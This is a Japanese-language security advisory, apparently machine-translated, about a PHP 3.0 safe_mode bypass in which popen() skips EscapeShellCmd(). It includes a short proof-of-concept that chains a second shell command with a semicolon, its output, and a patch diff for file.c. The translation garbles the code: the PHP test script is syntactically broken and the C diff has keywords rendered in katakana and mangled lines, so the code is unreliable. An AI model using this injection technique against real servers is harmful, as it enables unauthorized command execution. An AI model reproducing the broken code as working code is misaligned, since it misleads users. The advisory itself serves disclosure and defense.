影響を受けるシステム: PHP 3.00
------------------------------------------ ---- -------------------------------------
説明:
PHP バージョン 3.0 はHTML 埋め込みスクリプト言語。その構文のほとんどは C、Java、Perl に移植され、
PHP の機能と組み合わされています。この言語を使用すると、Web 開発者は動的な Web ページを迅速に作成できます。
Web サーバー上で実行され、ユーザーがコードを実行できるようにするため、PHP には「safe_mode」と呼ばれる組み込みのセキュリティ機能があり、PHP 操作を許可する Webroot 環境でのコマンドの実行を制御するために使用されます。
実装メカニズムは、シェルコマンドのシステムコールを強制的に実行することで、シェルコマンドを EscapeShellCmd()
関数に転送します。この関数は、コマンドが webroot ディレクトリの外で実行できないことを確認するために使用されます。
PHP の一部のバージョンでは、popen() コマンドを使用すると EscapeShellCmd() が失敗し、悪意のあるユーザーが「popen」システム コールを使用して不正な操作を実行できるようになります。
------------------------------------------------ --------------------------------
テスト プログラム:
警告: 次のプログラム (メソッド) は攻撃的である可能性があります。安全性の研究と教育のみを目的としています。自己責任!
<?php
$fp = Popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp
n"; fgets($fp, 1024)):
printf("%s
n", $line);
phpinfo()
; 出力結果は次のようになります。以下は次のとおりです:
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
および設定値からphpinfo()の:
safe_mode 0 1
------------------------------------- -------- -------------------------------------
提案:
インデックス:functions/file.c
=========================================== ======= =================
RCS ファイル: /repository/php3/functions/file.c,v
リビジョン 1.229 を取得中
リビジョン 1.230 を取得中
diff -u -r1.229 - r1.230
--- 関数/file.c 2000/01/01 04:31:15 1.229
+++ 関数/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| 著者: ラスムス・レルドルフ <rasmus@lerdorf.on.ca>
+------------------- ---------------------------------------------------- -------+
*/
- /* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c, v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include " safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5
@@ - 575,7 +576,7 @@
pval *arg1 , *arg2;
int id;
+ char *p, *tmp = NULL; 1024];
@@ -600, 7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value .str.val);
- fp = ポペン(buf,p);
+ fp = ポペン(tmp,p); /* 一時コピー、不要になりました */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno) );
RETURN_FALSE;
http://www.bkjia.com/PHPjc/316607.html
www.bkjia.com
true
http://www.bkjia.com/PHPjc/316607.html
技術記事
影響を受けるシステム:PHP 3.00 ------------------------------------------- -- ------------------------------------- 説明: PHP バージョン 3.0 は、HTML 埋め込みスクリプト言語です。 。スラングのほとんどは...